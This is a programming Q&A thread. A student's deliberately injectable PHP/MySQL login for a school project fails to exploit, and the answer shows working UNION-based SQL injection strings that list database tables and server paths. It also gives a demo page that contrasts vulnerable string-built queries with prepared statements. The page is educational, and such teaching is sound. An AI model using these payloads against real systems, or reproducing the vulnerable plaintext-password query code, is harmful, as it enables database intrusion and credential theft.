1

my problem is that my SQL-Injection isnt working. My normal login and registration is working as intended, but this important part isnt.

<?php

$connection = mysqli_connect('localhost', 'root', '', 'DB') or die(mysqli_error());
mysqli_select_db($connection, 'DB') or die(mysqli_error());

@$Vorname = $_POST['vorname'];
@$Nachname = $_POST['nachname'];
@$Passwort = $_POST['passwort'];

@$Vorname2 = $_POST['vorname2'];
@$Nachname2 = $_POST['nachname2'];
@$Passwort2 = $_POST['passwort2'];

if ($Vorname != Null && $Passwort != Null && $Nachname != Null) {
    $sql1 = "INSERT INTO Persons VALUES('$Vorname', '$Passwort', '$Nachname')";
    $query1 = mysqli_query($connection, $sql1) or die(mysqli_error());
    $remove = array("page");
}

if ($Vorname2 != Null && $Passwort2 != Null && $Nachname2 != Null) {
    $sql2 = "SELECT * FROM Persons WHERE Vorname = '$Vorname2' AND Passwort = '$Passwort2' AND Nachname = '$Nachname2'";
    $query2 = mysqli_query($connection, $sql2) or die(mysqli_error());

    $row = mysqli_fetch_array($query2, MYSQLI_ASSOC);
    $active = $row;
    $count = mysqli_num_rows($query2);

    if ($count == 1) {
        echo "Login sucessful";
    } else {
        echo "Login failed";
    }
}
$remove = array("page");

?>

When im now inputting xxx' OR 1=1;-- or something similar in the login window, its just showing Login Failed its driving me crazy.

Thank you for your time and i hope my question is clear, have a nice day.

10
  • try something like $Vorname != '' && $Passwort != '' && $Nachname != '' Commented Dec 29, 2017 at 15:28
  • 3
    So you want to build an exploitable form is that correct but it is failing to fail? Commented Dec 29, 2017 at 15:32
  • $count = mysqli_num_rows($query2); ... I dont know if that is correct Commented Dec 29, 2017 at 15:34
  • @RamRaider Yes thats correct. The SQL-Injection isnt working. Commented Dec 29, 2017 at 15:35
  • I'm receiving errors before even getting to execute the sql. mysqli_error() expects exactly 1 parameter, 0 given Commented Dec 29, 2017 at 15:36

1 Answer 1

2

Using some hard-coded values for the POSTed data for testing with a couple of minor tweaks it was exploited ( the SELECT statement that is - have not looked at the INSERT )

<?php

    $_POST['vorname']="geronimo";
    $_POST['nachname']='hiddensmeg';
    $_POST['passwort']='fluffykittens';

    /* the exploit */
    $_POST['vorname2']="geronimo' union all select 1,2,`table_name` from `information_schema`.`tables` where `table_type`='base table' and `table_schema`=database();#' --";

    $_POST['nachname2']='hiddensmeg2';
    $_POST['passwort2']='fluffykittens2';

    $connection = mysqli_connect('localhost', 'root', 'xxx', 'xxx');
    #mysqli_select_db( $connection, 'DB') or die(mysqli_error());

    @$Vorname = $_POST['vorname'];
    @$Nachname = $_POST['nachname'];
    @$Passwort = $_POST['passwort'];

    @$Vorname2 = $_POST['vorname2'];
    @$Nachname2 = $_POST['nachname2'];
    @$Passwort2 = $_POST['passwort2'];

    if ($Vorname != Null && $Passwort != Null && $Nachname != Null) {

        $sql1 = "INSERT INTO Persons VALUES('$Vorname', '$Passwort', '$Nachname')";
        #exit($sql1);
        $query1 = mysqli_query($connection, $sql1) or die(mysqli_error());
        $remove = array("page");
    }

    if ($Vorname2 != Null && $Passwort2 != Null && $Nachname2 != Null) {
        $sql2 = "SELECT * FROM Persons WHERE Vorname = '$Vorname2' AND Passwort = '$Passwort2' AND Nachname = '$Nachname2'";
        $result = mysqli_query( $connection, $sql2 );

        if ( $result->num_rows > 0 ) {
            while( $rs=mysqli_fetch_array($result, MYSQLI_ASSOC) ){
                #echo "OK";
                 echo $rs['Nachname'] . '<br />'; # show real data 
            }
        } else {
            echo "Login failed";
        }
    }
    $remove = array("page");
?>

Edit: A basic example to show the difference between embedded variables ( vulnerable ) and prepared statements ( not so vulnerable )

Basic database overview

create table `persons` (
    `id` smallint(5) unsigned not null auto_increment,
    `vorname` varchar(50) null default null,
    `nachname` varchar(50) null default null,
    `passwort` varchar(50) null default null,
    primary key (`id`),
    unique index `vorname_passwort_nachname` (`vorname`, `passwort`, `nachname`)
)
collate='utf8_general_ci'
engine=innodb;

mysql> describe persons;
+----------+----------------------+------+-----+---------+----------------+
| Field    | Type                 | Null | Key | Default | Extra          |
+----------+----------------------+------+-----+---------+----------------+
| id       | smallint(5) unsigned | NO   | PRI | NULL    | auto_increment |
| vorname  | varchar(50)          | YES  | MUL | NULL    |                |
| nachname | varchar(50)          | YES  |     | NULL    |                |
| passwort | varchar(50)          | YES  |     | NULL    |                |
+----------+----------------------+------+-----+---------+----------------+

mysql> select * from persons;
+----+-----------+--------------+-----------------+
| id | vorname   | nachname     | passwort        |
+----+-----------+--------------+-----------------+
|  1 | RamRaider | Twizzlestick | bh57l_$3dmpwWtq |
+----+-----------+--------------+-----------------+

And the test page

<?php

    $ex_response = $non_ex_response = array();

    /*
        To see how even basic filtering can affect the outcome, use ?filter=1 as querystring
    */
    $filter = isset( $_GET['filter'] ) && $_GET['filter']==1 ? true : false;



    if( $_SERVER['REQUEST_METHOD']=='POST' ){
        $dbhost =   'localhost';
        $dbuser =   'root'; 
        $dbpwd  =   'xxx'; 
        $dbname =   'xxx';
        $db =   new mysqli( $dbhost, $dbuser, $dbpwd, $dbname );

        /* action determines which portion of code to run */
        $action=$_POST['action'];

        /* username - either raw data or filtered data */
        $username=$filter ? filter_input( INPUT_POST, 'username', FILTER_SANITIZE_STRING ) : $_POST['username'];

        switch( $action ){
            case 'exploitable':
                /* embedded, vulnerable variables */

                $sql="select `vorname`, `nachname`, `passwort` from `persons` where `vorname`='$username';";
                $result=$db->query( $sql );

                if( $result && $result->num_rows > 0 ){
                    while( $rs=$result->fetch_object() ){
                        $ex_response[]=array(
                            'first' =>  $rs->vorname,
                            'last'  =>  $rs->nachname,
                            'pwd'   =>  $rs->passwort
                        );
                    }
                }
                $db->close();
            break;
            case 'nonexploitable':
                /* use prepared statements */

                $sql="select `vorname`, `nachname`, `passwort` from `persons` where `vorname`=?;";
                $stmt=$db->prepare( $sql );

                if( $stmt ){
                    $stmt->bind_param( 's', $username );
                    $res=$stmt->execute();

                    if( $res ){
                        $stmt->store_result();
                        $stmt->bind_result( $user, $uid, $pwd );
                        while( $stmt->fetch() ){
                            $non_ex_response[]=array(
                                'first' =>  $user,
                                'last'  =>  $uid,
                                'pwd'   =>  $pwd
                            );
                        }
                        $stmt->free_result();
                        $stmt->close();
                    }
                } else {
                    $non_ex_response='error';
                }
                $db->close();
            break;
        }

    }
?>
<!doctype html>
<html>
    <head>
        <meta charset='utf-8' />
        <title>Exploit mysqli with deliberately vulnerable code versus prepared statements</title>
        <style>
            html,html *{font-family:calibri,verdana,arial;}
            #container{display:flex;}

            div.query{color:green;width:100%;margin:0 auto!important;text-align:center;font-size:0.8rem;}
            div.query:before{ content:'Exploit Query'; color:black!important; margin:0 1rem 0 0; }
            h1{
                font-size:1.25rem;
                text-align:center;
            }
            form{
                width:calc( 50% - 2rem );
                border:1px solid black;
                box-sizing:border-box;
                padding:1rem;
                display:inline-block;
                float:none;
                margin:0 auto;
                height:90vh;
                top:0;
                position:relative;
            }
            form input[type='text']{
                width:80%;
            }
            form input[type='text'],
            form input[type='submit']{
                padding:1rem;
            }

        </style>
    </head>
    <body>
        <div class='query'>RamRaider</div>
        <div class='query'>RamRaider' union all select 1,2,`table_name` from `information_schema`.`tables` where `table_type`='base table' and `table_schema`=database();#' --</div>
        <div class='query'>RamRaider' union all select @@innodb_data_home_dir,@@basedir,`table_name` from `information_schema`.`tables` where `table_type`='base table' and `table_schema`=database();#' --</div>
        <div id='container'>
            <form id='exploitable' method='post'>
                <h1>Exploitable</h1>
                <input type='text' name='username' />
                <input type='hidden' name='action' value='exploitable' />
                <input type='submit' />
                <?php
                    if( !empty( $ex_response ) ) echo '<pre>',print_r( $ex_response,true ),'</pre>';
                ?>
            </form>

            <form id='nonexploitable' method='post'>
                <h1>Non-Exploitable</h1>
                <input type='text' name='username' />
                <input type='hidden' name='action' value='nonexploitable' />
                <input type='submit' />
                <?php
                    if( !empty( $non_ex_response ) ) echo '<pre>',print_r( $non_ex_response,true ),'</pre>';
                ?>
            </form>
        </div>
        <script>
            /* simple code to add whichever sql query is clicked directly to the text input fields */
            var inputs=document.querySelectorAll('input[type="text"]');
            var col=Array.prototype.slice.call( document.querySelectorAll('div.query') );
                col.forEach(function(div){
                    div.onclick=function(event){
                        inputs.forEach( function( text ){
                            text.value=this.innerHTML;
                        }.bind( div ) );
                    };
                });
        </script>
    </body>
</html>
Sign up to request clarification or add additional context in comments.

8 Comments

Thank you, the exploits works even its not hard-coded. But sadly, i couldnt follow how it worked, could you please explain it a little bit to me, i need it for a school project or do you have a easier exploit for. Thank you in advance.
Basically the only portion I changed was removing $row = mysqli_fetch_array($query2, MYSQLI_ASSOC); $active = $row; $count = mysqli_num_rows($query2);, testing if more than ZERO records were returned from the query and then iterating through the recordset using while( $rs=mysqli_fetch_array($result, MYSQLI_ASSOC) ){ With a better crafted exploit one should be able to gather all the information from the database
Okay one last thing what do i need to do that the exploits stops working?. I hope you have a nice day and thank you for your kindness.
Use prepared statements or, at a very basic level strip all non-alphanumeric characters
:) off I go - time for beer!
|

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service and acknowledge you have read our privacy policy.

Start asking to get answers

Find the answer to your question by asking.

Ask question

Explore related questions

See similar questions with these tags.